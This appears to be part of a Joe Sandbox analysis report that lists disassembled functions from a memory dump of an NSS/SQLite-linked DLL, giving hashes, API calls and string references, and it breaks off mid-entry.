Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: a4b89ef9ed56389ce353365fa1a280c5011d587f4d18ef604d3a78f8fcaa5f06
Instruction ID: fe3d46802ae9ad02f7b4b82cd7be7bb9c306a060a484f9b022104c26d913ecc9
Opcode Fuzzy Hash: a4b89ef9ed56389ce353365fa1a280c5011d587f4d18ef604d3a78f8fcaa5f06
Instruction Fuzzy Hash: 00C12931A456E58BDB05CE6984807EE77B2EF86308F18516ADCADAFB41D731AC01CBD1

Function 6CA26F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CA27049
*?[, xrefs: 6CA27034, 6CA27052, 6CA27070
noskipscan*, xrefs: 6CA27067
unordered*, xrefs: 6CA2702B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 58c79927d601d95f0d88428c446fbb498ddc8d5ff017c1a15ec07be20d8e6e9d
Instruction ID: 2ff32280193ace2a1a83c5ec5866e05246dc4841ede5129c7593365323556d30
Opcode Fuzzy Hash: 58c79927d601d95f0d88428c446fbb498ddc8d5ff017c1a15ec07be20d8e6e9d
Instruction Fuzzy Hash: DC718D32F051314BDB248A6DC8807AAB3929F85314F2D0238CD55EBFD1D6799ECA87D1

Function 6CA43EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CA4460F
sqlite_master, xrefs: 6CA4463F
sqlite_, xrefs: 6CA43FAA, 6CA44185

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: f4a82a5f4931e7e44b1f13ecc0415057a5dfb28fa4386baa83ff351f9057c1ce
Instruction ID: 87f268ef4dd87b52b8dab1f69976bafe7d9527c0982f9a27b20af95dd5eea8ea
Opcode Fuzzy Hash: f4a82a5f4931e7e44b1f13ecc0415057a5dfb28fa4386baa83ff351f9057c1ce
Instruction Fuzzy Hash: 35220631B4A5958FDB048F6980606F6BBF2AF46319B6CC598C9E16FE42D225ECC1C790

Function 6CB7BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CB7C0B6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: aec62be42257cd191178b2c78c8268178a30123593c644958928a39c57b09e90
Instruction ID: 15bda30ae057d73b5d96d6f4daf814eb5daec57f67713bac555c32132256422b
Opcode Fuzzy Hash: aec62be42257cd191178b2c78c8268178a30123593c644958928a39c57b09e90
Instruction Fuzzy Hash: D6927174A042898FDB25DF58C880BAEB7B2FF48308F24816CD925A7B91D735DC56CB61

Function 6CA13D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CA13EA9

Strings

0, xrefs: 6CA13DAB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 99ec955edae6951dadb8c874ac6f7730af00dcefd250f98ee478c837b720b74f
Instruction ID: 8c8f88f621b8f2a1d4d77cc78abae9af0553e41a31afc0dec29b6e177ece053d
Opcode Fuzzy Hash: 99ec955edae6951dadb8c874ac6f7730af00dcefd250f98ee478c837b720b74f
Instruction Fuzzy Hash: 5B512835A4F2B98AEB154E7D88603FFBBF19B82714F1D4329C5E16BEC0C22445868790

Function 6CABEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CABF0F9

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cfada210c9578b205351bed89e6a229557174a910d7373461e6c956abb58aa32
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 6D91CF79A0121A8BCB14CF68CC906AEB7F5FF85324F28462DD926A7BD0D730A945CB50

Function 6CAE2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CB07929), ref: 6CAE2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CB07929), ref: 6CAE2FE0

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 3b7ef1abb85ce32e5147202cc3c188ab373bd94f52bbaa721232f235e8d89ab2
Instruction ID: 75c1bbc25f7968497047e9c26e03f96734e5d114fe121defe4dc590bf28e1d24
Opcode Fuzzy Hash: 3b7ef1abb85ce32e5147202cc3c188ab373bd94f52bbaa721232f235e8d89ab2
Instruction Fuzzy Hash: E7510971A069118FDB10CE59C880B6A73B1FF4D318F1D4269D9895BB21D731E9C6EBC1

Function 6CB00E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CB01052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CB01086

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: d3ef41b9abfa1c6550f8155cc3b9b15f3fac730410ea5072bca808efd6f25eb4
Instruction ID: 3c4c95d29a49031a5df77b4009b744ab52ace3db7df25b48a6f7004bafe49797
Opcode Fuzzy Hash: d3ef41b9abfa1c6550f8155cc3b9b15f3fac730410ea5072bca808efd6f25eb4
Instruction Fuzzy Hash: 00A12C71F0128A9FDF08CF99D990AEEBBB6FF48314B148129E915A7700D735AC11CB90

Function 6CA2AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CA2AE18
winUnlockReadLock, xrefs: 6CA2AE9F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: aa0a46008aacddf272261fb8a8480540d887bd6fde19a9e43dcc17c44868768e
Instruction ID: 048d5ac88bbafe43372843ebe6a88525775d367de5c506289f9df64ffd2f3f65
Opcode Fuzzy Hash: aa0a46008aacddf272261fb8a8480540d887bd6fde19a9e43dcc17c44868768e
Instruction Fuzzy Hash: 9B716B706082509FDB04CF28E894AAABBF5FF89314F18C619F95997341D730A986CBD5

Function 6CAEED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CAEEE3D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 069f7d3985b058226e86b9ca6c77badf544891672b6363254df5b4403a050318
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: E971D272E017018FD718CF59D8806AAB7F2EB8C314F19862DD85697B91D730E980DBD1

Function 6CA15F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CA16013

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: e0361f35ba2eb33b0e1f073789ee101f0ab01f36ee23baa90a4c20b63d04ae5f
Instruction ID: 866a738e581e1a08b5451cda1b4afd60074f0eadff02cf4026bdbf33d4b97fe3
Opcode Fuzzy Hash: e0361f35ba2eb33b0e1f073789ee101f0ab01f36ee23baa90a4c20b63d04ae5f
Instruction Fuzzy Hash: 96C10371B0C6468BDB04CE19C8907AAB7B2EF45328F6C8169D9A5DBF41D731E8C5CB90

Function 6CA24DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA25125

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 8ce8fa48bef79e1a805c3328595128ba9adc53febf3e61d5a5cb738a83879ee8
Instruction ID: ff2ba186647e7cf97fe513690307457110ae352a43e7574517fd456fd1b76c57
Opcode Fuzzy Hash: 8ce8fa48bef79e1a805c3328595128ba9adc53febf3e61d5a5cb738a83879ee8
Instruction Fuzzy Hash: 27E13770A083808FDB44DF28E58465ABBF0FF89748F198A1DE89997351E734D985CF86

Function 6CBA5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CBA5B90: PR_Lock.NSS3(00010000,?,00000000,?,6CA8DF9B), ref: 6CBA5B9E
Part of subcall function 6CBA5B90: PR_Unlock.NSS3 ref: 6CBA5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CBA5E23,6CA8E154), ref: 6CBA5EBF

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 31f011e6843d26cfbfa5e62099693f63b939fe1b06f7f7d57fc34a26984f91c3
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 1A519E72E0061A8FCB18CF99C8815AEF3F2FF98314B19456ED855B7745D730A945CBA0

Function 6CB5DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b64547b8f3aed175d8e8190a13b636def476f9a042890b5b068c112405d74e3
Instruction ID: e2b85b0b583c4ed29883d4b9f0163ffba0e729ba642a8c4d509db0ee434da161
Opcode Fuzzy Hash: 3b64547b8f3aed175d8e8190a13b636def476f9a042890b5b068c112405d74e3
Instruction Fuzzy Hash: 30F16A71A012858FDB48CF28D590BAE77B6FF89318F694168D8099B741CB35EC52CBD2

Function 6CAF1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: ca43a81710739eac8ad5276c8e16702c491247793c862109c4934c869fd5f19a
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 85D14872A046568BDB118E18C8843EA7B73AB85328F5D4329ED741B7C6C37B9987C7D0

Function 6CA88EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bed0e2dc6fb07dc2965799d973029b2e072210c059cdedb79f290f9e178c049
Instruction ID: b538529eb00d42373d680084c0fec2d95b51669fa99586cf5e1a0c9033c5ca54
Opcode Fuzzy Hash: 5bed0e2dc6fb07dc2965799d973029b2e072210c059cdedb79f290f9e178c049
Instruction Fuzzy Hash: EA11BF32A022158BD704DF28D884B5AB7B5BF42318F0842AAD8158FA42CB75ECC6C7D1

Function 6CB60C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37bbfbbb41077e2b6959067845c8a5652d5841bd1f8ef243af6eb8e96e1a6baf
Instruction ID: f92163f8da66b48d454d1a6b3efe3ca4af69b4c7328ceedae4baf741e6acd31a
Opcode Fuzzy Hash: 37bbfbbb41077e2b6959067845c8a5652d5841bd1f8ef243af6eb8e96e1a6baf
Instruction Fuzzy Hash: AA11E3787043859FCB00DF2AD8806AA7BB5FF85368F14857DD8198BB01DB31E806CBA5

Function 6CAD3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: f4e8d0e2d33610b54b5224fa3c9c3848475a7e65d656517b72b39a41f7fde0a6
Instruction ID: efd1fbfbcbb762df00a71ba4c0ecd9fbeed358c8f3abdd45c2961b71c79b39a0
Opcode Fuzzy Hash: f4e8d0e2d33610b54b5224fa3c9c3848475a7e65d656517b72b39a41f7fde0a6
Instruction Fuzzy Hash: B8F05E70A047598BCB50DF28C59159FB7F4EF09254F119619EC8AAB301EB30BAD4C7D1

Function 6CB60D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 335e58d874dfe13ee1a27bc3e9cc5c9fb0cf6ceb0134494a868335967057a3ab
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 16E0923A2020B4A7DB148E0BE450AA97359DF81619FB4817DCD5D9FE01D733F8038786

Function 6CA8CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
